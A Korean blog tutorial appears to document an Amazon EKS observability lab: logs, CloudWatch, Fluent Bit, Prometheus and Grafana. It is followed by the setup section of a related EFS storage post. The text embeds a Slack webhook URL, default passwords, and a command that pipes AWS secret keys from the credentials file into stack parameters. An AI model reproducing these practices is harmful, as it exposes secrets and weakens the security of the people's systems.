for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/containers; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -al /var/log/containers; echo; done

# 개별 파드 application 로그 확인 : 아래 각자 디렉터리 경로는 다름
ssh ec2-user@$N2 sudo tail -f /var/log/pods/default_nginx-7f7b5d655f-5sb7x_bb8303ff-5e2c-4b7e-98b4-e9d6695a840d/nginx/0.log


# Host 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/ -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/ -L 1; echo; done
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo ls -la /var/log/; echo; done

# Host 로그 확인
#ssh ec2-user@$N1 sudo tail /var/log/dmesg
#ssh ec2-user@$N1 sudo tail /var/log/secure
#ssh ec2-user@$N1 sudo tail /var/log/messages
for log in dmesg secure messages; do echo ">>>>> Node1: /var/log/$log <<<<<"; ssh ec2-user@$N1 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node2: /var/log/$log <<<<<"; ssh ec2-user@$N2 sudo tail /var/log/$log; echo; done
for log in dmesg secure messages; do echo ">>>>> Node3: /var/log/$log <<<<<"; ssh ec2-user@$N3 sudo tail /var/log/$log; echo; done

# dataplane 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/journal -L 1
#ssh ec2-user@$N1 sudo ls -la /var/log/journal
for node in $N1 $N2 $N3; do echo ">>>>> $node <<<<<"; ssh ec2-user@$node sudo tree /var/log/journal -L 1; echo; done

# 저널 로그 확인 - 링크
ssh ec2-user@$N3 sudo journalctl -x -n 200
ssh ec2-user@$N3 sudo journalctl -f

 

Application 로그 확인 결과

 

호스트 로그 확인 결과

 

저널 로그 확인 결과

 

그러면 이제 CloudWatch Container observability를 설치해보자.

 

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability
aws eks list-addons --cluster-name myeks --output table

# 설치 확인
kubectl get-all -n amazon-cloudwatch
kubectl get ds,pod,cm,sa,amazoncloudwatchagent -n amazon-cloudwatch
kubectl describe clusterrole cloudwatch-agent-role amazon-cloudwatch-observability-manager-role    # 클러스터롤 확인
kubectl describe clusterrolebindings cloudwatch-agent-role-binding amazon-cloudwatch-observability-manager-rolebinding  # 클러스터롤 바인딩 확인
kubectl -n amazon-cloudwatch logs -l app.kubernetes.io/component=amazon-cloudwatch-agent -f # 파드 로그 확인
kubectl -n amazon-cloudwatch logs -l k8s-app=fluent-bit -f    # 파드 로그 확인

# cloudwatch-agent 설정 확인
kubectl describe cm cloudwatch-agent-agent -n amazon-cloudwatch

#Fluent bit 파드 수집하는 방법 : Volumes에 HostPath라 나와있다. (보안상 조금 더 안전한 방법이 있을까?)
kubectl describe -n amazon-cloudwatch ds cloudwatch-agent
...
  Volumes:
   ...
   rootfs:
    Type:          HostPath (bare host directory volume)
    Path:          /
    HostPathType:  

...
ssh ec2-user@$N1 sudo tree /dev/disk
...


# Fluent Bit 로그 INPUT/FILTER/OUTPUT 설정 확인 - 링크
## 설정 부분 구성 : application-log.conf , dataplane-log.conf , fluent-bit.conf , host-log.conf , parsers.conf
kubectl describe cm fluent-bit-config -n amazon-cloudwatch
...
application-log.conf:
----
[INPUT]
    Name                tail
    Tag                 application.*
    Exclude_Path        /var/log/containers/cloudwatch-agent*, /var/log/containers/fluent-bit*, /var/log/containers/aws-node*, /var/log/containers/kube-proxy*
    Path                /var/log/containers/*.log
    multiline.parser    docker, cri
    DB                  /var/fluent-bit/state/flb_container.db
    Mem_Buf_Limit       50MB
    Skip_Long_Lines     On
    Refresh_Interval    10
    Rotate_Wait         30
    storage.type        filesystem
    Read_from_Head      ${READ_FROM_HEAD}

[FILTER]
    Name                kubernetes
    Match               application.*
    Kube_URL            https://kubernetes.default.svc:443
    Kube_Tag_Prefix     application.var.log.containers.
    Merge_Log           On
    Merge_Log_Key       log_processed
    K8S-Logging.Parser  On
    K8S-Logging.Exclude Off
    Labels              Off
    Annotations         Off
    Use_Kubelet         On
    Kubelet_Port        10250
    Buffer_Size         0

[OUTPUT]
    Name                cloudwatch_logs
    Match               application.*
    region              ${AWS_REGION}
    log_group_name      /aws/containerinsights/${CLUSTER_NAME}/application
    log_stream_prefix   ${HOST_NAME}-
    auto_create_group   true
    extra_user_agent    container-insights
...

# Fluent Bit 파드가 수집하는 방법 : Volumes에 HostPath를 살펴보자!
kubectl describe -n amazon-cloudwatch ds fluent-bit
...
ssh ec2-user@$N1 sudo tree /var/log
...

# (참고) 삭제
aws eks delete-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability

 

실행 결과 잘 되었고 이 때 로그 수집을 하는 방식이 Volume에 HostPath 방식으로 되어 있다. 이 부분이 보안상 얼마나 안전한지 생각해 볼 필요는 있겠다.

 

그러면 이제부터는 로그를 발생시킨 후 CloudWatch에서 확인해보도록 하자. ApacheBench를 실행한 후 CloudWatch에서 Log group -> /aws/containerinsights/myeks/application -> 로그 스트림에서 nginx로 필터링한 후 선택 -> ApacheBench로 필터링하여 확인해보자.

# 부하 발생
curl -s https://nginx.$MyDomain
yum install -y httpd
ab -c 500 -n 30000 https://nginx.$MyDomain/

# 파드 직접 로그 모니터링
kubectl logs deploy/nginx -f

 

 

또한 로그 인사이트에서 다음 항목에 대해 쿼리를 실행하여 확인해보도록 하자.

# Application log errors by container name : 컨테이너 이름별 애플리케이션 로그 오류
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/application
stats count() as error_count by kubernetes.container_name 
| filter stream="stderr" 
| sort error_count desc

# All Kubelet errors/warning logs for for a given EKS worker node
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter  message =~ /.*(E|W)[0-9]{4}.*/ and ec2_instance_id="<YOUR INSTANCE ID>"
| sort @timestamp desc

# Kubelet errors/warning count per EKS worker node in the cluster
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter   message =~ /.*(E|W)[0-9]{4}.*/
| stats count(*) as error_count by ec2_instance_id

# performance 로그 그룹
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/performance
# 노드별 평균 CPU 사용률
STATS avg(node_cpu_utilization) as avg_node_cpu_utilization by NodeName
| SORT avg_node_cpu_utilization DESC

# 파드별 재시작(restart) 카운트
STATS avg(number_of_container_restarts) as avg_number_of_container_restarts by PodName
| SORT avg_number_of_container_restarts DESC

# 요청된 Pod와 실행 중인 Pod 간 비교
fields @timestamp, @message 
| sort @timestamp desc 
| filter Type="Pod" 
| stats min(pod_number_of_containers) as requested, min(pod_number_of_running_containers) as running, ceil(avg(pod_number_of_containers-pod_number_of_running_containers)) as pods_missing by kubernetes.pod_name 
| sort pods_missing desc

# 클러스터 노드 실패 횟수
stats avg(cluster_failed_node_count) as CountOfNodeFailures 
| filter Type="Cluster" 
| sort @timestamp desc

# 파드별 CPU 사용량
stats pct(container_cpu_usage_total, 50) as CPUPercMedian by kubernetes.container_name 
| filter Type="Container"
| sort CPUPercMedian desc

 

3. Metrics-server & kwatch

Kubelet으로부터 수집한 리소스 메트릭을 수집하고 집계하는 클러스터 애드온 구성 요소인 Metrics-server을 확인해보도록 하자.

# 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 메트릭 서버 확인 : 메트릭은 15초 간격으로 cAdvisor를 통하여 가져옴
kubectl get pod -n kube-system -l k8s-app=metrics-server
kubectl api-resources | grep metrics
kubectl get apiservices |egrep '(AVAILABLE|metrics)'

# 노드 메트릭 확인
kubectl top node

# 파드 메트릭 확인
kubectl top pod -A
kubectl top pod -n kube-system --sort-by='cpu'
kubectl top pod -n kube-system --sort-by='memory'

 

그리고 kwatch는 모니터링하면서 notification을 슬랙 discord 등으로 보내는 역할을 수행한다. 아래 코드로 알람이 나오는 부분을 스크린샷과 같이 이전에 확인할 수 있었다.

# 닉네임
NICK=<각자 자신의 닉네임>
NICK=gasida

# configmap 생성
cat <<EOT > ~/kwatch-config.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: kwatch
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: kwatch
  namespace: kwatch
data:
  config.yaml: |
    alert:
      slack:
        webhook: 'https://hooks.slack.com/services/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'
        title: $NICK-EKS
        #text: Customized text in slack message
    pvcMonitor:
      enabled: true
      interval: 5
      threshold: 70
EOT
kubectl apply -f kwatch-config.yaml

# 배포
kubectl apply -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml

 

# 터미널1
watch kubectl get pod

# 잘못된 이미지 정보의 파드 배포
kubectl apply -f https://raw.githubusercontent.com/junghoon2/kube-books/main/ch05/nginx-error-pod.yml
kubectl get events -w

# 이미지 업데이트 방안2 : set 사용 - iamge 등 일부 리소스 값을 변경 가능!
kubectl set 
kubectl set image pod nginx-19 nginx-pod=nginx:1.19

# 삭제
kubectl delete pod nginx-19

 

kwatch 삭제는 다음 명령어를 사용하면 된다.

kubectl delete -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml

4. Prometheus 스택

Observability에 대해 CloudWatch도 좋겠으나 Prometheus 스택을 통해 모니터링하는 방법을 실습해보도록 하자. 아래 명령어는 monitoring 네임스페이스에 Prometheus 스택을 배포한다.

# 모니터링
kubectl create ns monitoring
watch kubectl get pod,pvc,svc,ingress -n monitoring

# 사용 리전의 인증서 ARN 확인 : 정상 상태 확인(만료 상태면 에러 발생!)
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"
    storageSpec:
      volumeClaimTemplate:
        spec:
          storageClassName: gp3
          accessModes: ["ReadWriteOnce"]
          resources:
            requests:
              storage: 30Gi

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

  persistence:
    enabled: true
    type: sts
    storageClassName: "gp3"
    accessModes:
      - ReadWriteOnce
    size: 20Gi

defaultRules:
  create: false
kubeControllerManager:
  enabled: false
kubeEtcd:
  enabled: false
kubeScheduler:
  enabled: false
alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.1.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# 확인
## alertmanager-0 : 사전에 정의한 정책 기반(예: 노드 다운, 파드 Pending 등)으로 시스템 경고 메시지를 생성 후 경보 채널(슬랙 등)로 전송
## grafana : 프로메테우스는 메트릭 정보를 저장하는 용도로 사용하며, 그라파나로 시각화 처리
## prometheus-0 : 모니터링 대상이 되는 파드는 ‘exporter’라는 별도의 사이드카 형식의 파드에서 모니터링 메트릭을 노출, pull 방식으로 가져와 내부의 시계열 데이터베이스에 저장
## node-exporter : 노드익스포터는 물리 노드에 대한 자원 사용량(네트워크, 스토리지 등 전체) 정보를 메트릭 형태로 변경하여 노출
## operator : 시스템 경고 메시지 정책(prometheus rule), 애플리케이션 모니터링 대상 추가 등의 작업을 편리하게 할수 있게 CRD 지원
## kube-state-metrics : 쿠버네티스의 클러스터의 상태(kube-state)를 메트릭으로 변환하는 파드
helm list -n monitoring
kubectl get pod,svc,ingress,pvc -n monitoring
kubectl get-all -n monitoring
kubectl get prometheus,servicemonitors -n monitoring
kubectl get crd | grep monitoring
kubectl df-pv

 

EC2 -> Load Balancer 탭에 들어가서 살펴보면 443 리스너 부분에 프로메테우스 부분이 잘 추가되었음을 확인할 수 있다.

또한 web URL로 접속이 잘 되는지도 확인해보도록 하자.

 

이제 AWS CNI Metrics 수집을 위해 사전 설정을 해보자. 이후 프로메테우스에서 결과를 확인해 보고자 한다.

# PodMonitor 배포
cat <<EOF | kubectl create -f -
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata:
  name: aws-cni-metrics
  namespace: kube-system
spec:
  jobLabel: k8s-app
  namespaceSelector:
    matchNames:
    - kube-system
  podMetricsEndpoints:
  - interval: 30s
    path: /metrics
    port: metrics
  selector:
    matchLabels:
      k8s-app: aws-node
EOF

# PodMonitor 확인
kubectl get podmonitor -n kube-system
kubectl get podmonitor -n kube-system aws-cni-metrics -o yaml | kubectl neat | yh
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata: 
  name: aws-cni-metrics
  namespace: kube-system
spec: 
  jobLabel: k8s-app
  namespaceSelector: 
    matchNames: 
    - kube-system
  podMetricsEndpoints: 
  - interval: 30s
    path: /metrics
    port: metrics
  selector: 
    matchLabels: 
      k8s-app: aws-node
          
# metrics url 접속 확인
curl -s $N1:61678/metrics | grep '^awscni'
awscni_add_ip_req_count 10
awscni_assigned_ip_addresses 8
awscni_assigned_ip_per_cidr{cidr="192.168.1.117/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.131/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.184/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.210/32"} 0
awscni_assigned_ip_per_cidr{cidr="192.168.1.243/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.247/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.38/32"} 1

 

프로메테우스 Web에서 Status -> Targets로 접속한 다음 "aws-cni"로 job을 검색해보면 잘 나오는 것을 확인할 수 있다.

 

프로메테우스는 모니터링 대상이 되는 서비스에 대해 일반적으로 자체 웹 서버의 /metrics 엔드포인트 경로에 다양한 메트릭 정보를 노출한다. 이후 프로메테우스는 해당 경로에 http get 방식으로 메트릭 정보를 가져와 TSDB 형식으로 저장한다.

# 아래 처럼 프로메테우스가 각 서비스의 9100 접속하여 메트릭 정보를 수집
kubectl get node -owide
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus-node-exporter

# 노드의 9100번의 /metrics 접속 시 다양한 메트릭 정보를 확인할수 있음 : 마스터 이외에 워커노드도 확인 가능
ssh ec2-user@$N1 curl -s localhost:9100/metrics

 

또한 프로메테우스 설정을 확인해보도록 하자. 웹 페이지에서 Status -> Configuration으로 접속하면 확인할 수 있다. 몇 가지 값들이 보이는 데 이 중 global 설정, "node-exporter" 관련 설정, kubernetes_sd_configs 설정을 확인해보도록 하자.

 

global > scrape_interval: 15s     # 메트릭 가져오는(scrape) 주기
global > scrape_timeout: 10s      # 메트릭 가져오는(scrape) 타임아웃
global > evaluation_interval: 15s # alert 보낼지 말지 판단하는 주기
kubernetes_sd_configs:    # 서비스 디스커버리(SD) 방식을 이용하고, 파드의 엔드포인트 List 자동 반영
kubernetes_sd_configs > role > names: - monitoring    # 서비스 엔드포인트가 속한 네임 스페이스 이름을 지정, 서비스 네임스페이스가 속한 포트 번호를 구분하여 메트릭 정보를 가져옴

 

 

그리고 Target에 대해 실제 curl로 접속하여 어떤 메트릭을 수집하는지 확인해보자. 다음은 kube-prometheus-stack-kube-proxy의 첫 번째 노드 및 kube-prometheus-stack-coredns 첫 번째 노드에 접속해서 얻은 결과이다.

그리고 메트릭을 그래프로 조회할 수도 있다. 다음 메트릭을 조회해보도록 하자.

1- avg(rate(node_cpu_seconds_total{mode="idle"}[1m]))

 

이전에 살펴본 nginx 파드에 대해 서비스 모니터링 방식으로 nginx 모니터링 대상을 등록하여 metric 설정을 추가해보자.

# 모니터링
watch -d "kubectl get pod; echo; kubectl get servicemonitors -n monitoring"

# 파라미터 파일 생성 : 서비스 모니터 방식으로 nginx 모니터링 대상을 등록하고, export 는 9113 포트 사용
cat <<EOT > ~/nginx_metric-values.yaml
metrics:
  enabled: true

  service:
    port: 9113

  serviceMonitor:
    enabled: true
    namespace: monitoring
    interval: 10s
EOT

# 배포
helm upgrade nginx bitnami/nginx --reuse-values -f nginx_metric-values.yaml

# 확인
kubectl get pod,svc,ep
kubectl get servicemonitor -n monitoring nginx
kubectl get servicemonitor -n monitoring nginx -o json | jq

# 메트릭 확인 >> 프로메테우스에서 Target 확인
NGINXIP=$(kubectl get pod -l app.kubernetes.io/instance=nginx -o jsonpath={.items[0].status.podIP})
curl -s http://$NGINXIP:9113/metrics # nginx_connections_active Y 값 확인해보기
curl -s http://$NGINXIP:9113/metrics | grep ^nginx_connections_active

# nginx 파드내에 컨테이너 갯수 확인
kubectl get pod -l app.kubernetes.io/instance=nginx
kubectl describe pod -l app.kubernetes.io/instance=nginx

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

프로메테우스 target이 추가된 것을 확인할 수 있고

Configuration에서도 변경된 결과를 확인할 수 있다.

5. Grafana

그라파나는 TSDB 데이터를 시각화하며, 다양한 데이터 형식을 지원한다. 본 실습 환경에서는 데이터 소스를 프로메테우스로 사용한다. 접속 정보를 확인한 후 실제 웹 페이지에 접속하여 확인해보도록 하자.

# 그라파나 버전 확인
kubectl exec -it -n monitoring service/kube-prometheus-stack-grafana -- grafana-cli --version
grafana cli version 10.4.0

# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-grafana
kubectl describe ingress -n monitoring kube-prometheus-stack-grafana

# ingress 도메인으로 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

 

웹에 접속하여 Connections > Data sources로 접속해 보면 Prometheus에 대한 정보가 있는 것을 확인할 수 있다.

netshoots-pod를 이용해 해당 데이터 소스 접속을 확인해 볼 수도 있다.

# 테스트용 파드 배포
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netshoot-pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF
kubectl get pod netshoot-pod

# 접속 확인
kubectl exec -it netshoot-pod -- nslookup kube-prometheus-stack-prometheus.monitoring
kubectl exec -it netshoot-pod -- curl -s kube-prometheus-stack-prometheus.monitoring:9090/graph -v ; echo

# 삭제
kubectl delete pod netshoot-pod

 

 

공식 대시보드를 가져와보자. 먼저 Dashboard → New → Import → 15757 력입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭해보자.

한글로된 대시보드를 볼 수도 있다. Dashboard → New → Import → 17900 입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭와 같이 해보자.

 

그런데 CPU 점유율, 메모리 점유율, 디스크 사용률 (%)에 "No data"라고 나온다. 이 부분을 수정해보자. 각각 패널에 대해 Edit 버튼을 클릭한 다음, 아래 쿼리로 바꾸어 테스트를 해본다. 잘 되면 Save 및 Apply를 하여 반영하자.

 

# CPU - CPU 점유율
sum by (instance) (irate(node_cpu_seconds_total{mode!~"guest.*|idle|iowait", instance="$instance"}[5m]))

# 수정 : 메모리 점유율
(node_memory_MemTotal_bytes{instance="$instance"}-node_memory_MemAvailable_bytes{instance="$instance"})/node_memory_MemTotal_bytes{instance="$instance"}

# 수정 : 디스크 사용률
sum(node_filesystem_size_bytes{instance="$instance"} - node_filesystem_avail_bytes{instance="$instance"}) by (node) / sum(node_filesystem_size_bytes{instance="$instance"}) by (node)

 

이제 잘 나온다 :)

 

뿐만 아니라 다음 몇 가지 대시보드 ID들을 추가로 import하여 확인해보자.

  • [Node Exporter Full] 1860 
  • [Node Exporter for Prometheus Dashboard based on 11074] 15172
  • kube-state-metrics-v2 : Dashboard ID copied! (13332)
  • [Amazon EKS] AWS CNI Metrics 16032 - 링크

 

6. 마무리

항상 그렇듯이 실습을 완료한 이후에는 꼭 리소스를 삭제하도록 하자.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

혹 위 실습에서 로깅 그룹을 삭제 안했을 때는 아래 명령어를 참고하여 삭제하도록 하자.

 

# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve
# 로그 그룹 삭제 : 컨트롤 플레인
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster

---
# 로그 그룹 삭제 : 데이터 플레인
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/application
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/dataplane
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/host
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/performance

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경

이번 실습에서는 명령어 콘솔로 원클릭 배포를 해보고자 한다. 다음 명령어를 사용하여 실습 환경을 준비하였다. 그 전에 CloudFormation에 해당하는 eks-oneclick2.yaml 파일이 이전 EKS Networking 실습때 사용한 스크립트와 어떤 차이가 있는지 간략히 살펴보자. diff 명령을 통해 이전 실습 파일인 eks-oneclick.yaml과 이번 실습 파일인 eks-oneclick2.yaml 파일을 비교해보았다. "diff A B"와 같이 실행하였을 때 > 로 나오면 B 파일에 추가된 내용을 이야기하며 < 로 나오면 A 파일에 추가된 내용이라고 알려준다. 아래 결과를 통해 살펴볼 때, 이번 스토리지 실습을 위해 Amazon Elastic File System (EFS) 사용을 위한 보안 그룹 및 마운트 대상을 지정하고, bastion에 해당하는 EC2 VM에 amazon-efs-utils 및 df-pv 도구를 미리 설치 및 이전 EKS Networking 실습 확인하였던 AWS Load Balancer Controller를 위한 IRSA 생성까지를 더 준비하는 것으로 확인된다.

$ diff eks-oneclick.yaml eks-oneclick2.yaml
287a288,330
> # EFS
>   EFSSG:
>     Type: AWS::EC2::SecurityGroup
>     Properties:
>       VpcId: !Ref EksVPC
>       GroupDescription: EFS Security Group
>       Tags:
>       - Key : Name
>         Value : !Sub ${ClusterBaseName}-EFS
>       SecurityGroupIngress:
>       - IpProtocol: tcp
>         FromPort: '2049'
>         ToPort: '2049'
>         CidrIp: !Ref VpcBlock
>
>   ElasticFileSystem:
>     Type: AWS::EFS::FileSystem
>     Properties:
>       FileSystemTags:
>         - Key: Name
>           Value: !Sub ${ClusterBaseName}-EFS
>   ElasticFileSystemMountTarget0:
>     Type: AWS::EFS::MountTarget
>     Properties:
>       FileSystemId: !Ref ElasticFileSystem
>       SecurityGroups:
>       - !Ref EFSSG
>       SubnetId: !Ref PublicSubnet1
>   ElasticFileSystemMountTarget1:
>     Type: AWS::EFS::MountTarget
>     Properties:
>       FileSystemId: !Ref ElasticFileSystem
>       SecurityGroups:
>       - !Ref EFSSG
>       SubnetId: !Ref PublicSubnet2
>   ElasticFileSystemMountTarget2:
>     Type: AWS::EFS::MountTarget
>     Properties:
>       FileSystemId: !Ref ElasticFileSystem
>       SecurityGroups:
>       - !Ref EFSSG
>       SubnetId: !Ref PublicSubnet3
>
311c354
<           Value: !Sub ${ClusterBaseName}-bastion-EC2
---
>           Value: !Sub ${ClusterBaseName}-bastion
329c372
<             hostnamectl --static set-hostname "${ClusterBaseName}-bastion-EC2"
---
>             hostnamectl --static set-hostname "${ClusterBaseName}-bastion"
345c388
<             yum -y install tree jq git htop
---
>             yum -y install tree jq git htop amazon-efs-utils
396c439
<             kubectl krew install ctx ns get-all neat # ktop df-pv mtail tree
---
>             kubectl krew install ctx ns get-all neat df-pv # ktop mtail tree
411a455
>             echo "export AWS_REGION=$AWS_DEFAULT_REGION" >> /etc/profile
438a483,499
>             # Setting EFS Filesystem
>             mkdir -p /mnt/myefs
>             echo "export EfsFsId=${ElasticFileSystem}" >> /etc/profile
>             #mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport ${ElasticFileSystem}.efs.ap-northeast-2.amazonaws.com:/ /mnt/myefs
>
>             # Install VS Code in the browser https://github.com/coder/code-server
>             # curl -fOL https://github.com/coder/code-server/releases/download/v4.22.1/code-server_4.22.1_amd64.deb
>             # mkdir -p /root/.config/code-server
>             # cat << EOT > /root/.config/code-server/config.yaml
>             # bind-addr: 0.0.0.0:80
>             # auth: password
>             # password: Cloudnet@AEWS2!
>             # cert: false
>             # EOT
>             # dpkg -i code-server_4.22.1_amd64.deb
>             # systemctl enable --now code-server@$USER
>
440c501
<             eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=ng1 --node-type=${WorkerNodeInstanceType} --nodes ${WorkerNodeCount} --node-volume-size=${WorkerNodeVolumesize} --vpc-public-subnets "$PubSubnet1","$PubSubnet2","$PubSubnet3" --version ${KubernetesVersion} --ssh-access --ssh-public-key /root/.ssh/id_rsa.pub --with-oidc --external-dns-access --full-ecr-access --dry-run > myeks.yaml
---
>             eksctl create cluster --name $CLUSTER_NAME --region=$AWS_DEFAULT_REGION --nodegroup-name=ng1 --node-type=${WorkerNodeInstanceType} --nodes ${WorkerNodeCount} --node-volume-size=${WorkerNodeVolumesize} --vpc-public-subnets "$PubSubnet1","$PubSubnet2","$PubSubnet3" --version ${KubernetesVersion} --max-pods-per-node 100 --ssh-access --ssh-public-key /root/.ssh/id_rsa.pub --with-oidc --external-dns-access --full-ecr-access --dry-run > myeks.yaml
455a517,525
>             cat <<EOT > irsa.yaml
>               serviceAccounts:
>               - metadata:
>                   name: aws-load-balancer-controller
>                   namespace: kube-system
>                 wellKnownPolicies:
>                   awsLoadBalancerController: true
>             EOT
>             sed -i -n -e '/withOIDC/r irsa.yaml' -e '1,$p' myeks.yaml

 

다음과 같이 명령어로 실행하여 배포를 진행하였다.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick2.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick2.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

기본 설정 및 EFS를 확인해보자.

# default 네임스페이스 적용
kubectl ns default

# EFS 확인 : AWS 관리콘솔 EFS 확인해보자
echo $EfsFsId
mount -t efs -o tls $EfsFsId:/ /mnt/myefs
df -hT --type nfs4

echo "efs file test" > /mnt/myefs/memo.txt**
cat /mnt/myefs/memo.txt
rm -f /mnt/myefs/memo.txt

# 스토리지클래스 및 CSI 노드 확인
kubectl get sc
kubectl get sc gp2 -o yaml | yh
kubectl get csinodes

# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

 

EFS 마운트를 성송하여 파일 쓰기 및 파일 내용 확인, 파일 삭제가 가능하였으며

 

스토리지 클래스 및 CSI 노드 정보 확인 또한 완료하였다.

 

이후 원활한 실습을 위해 아래를 참고하여 AWS LB/ExternalDNS, kube-ops-view를 구성하자.

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# ExternalDNS
MyDomain=sdndev.net
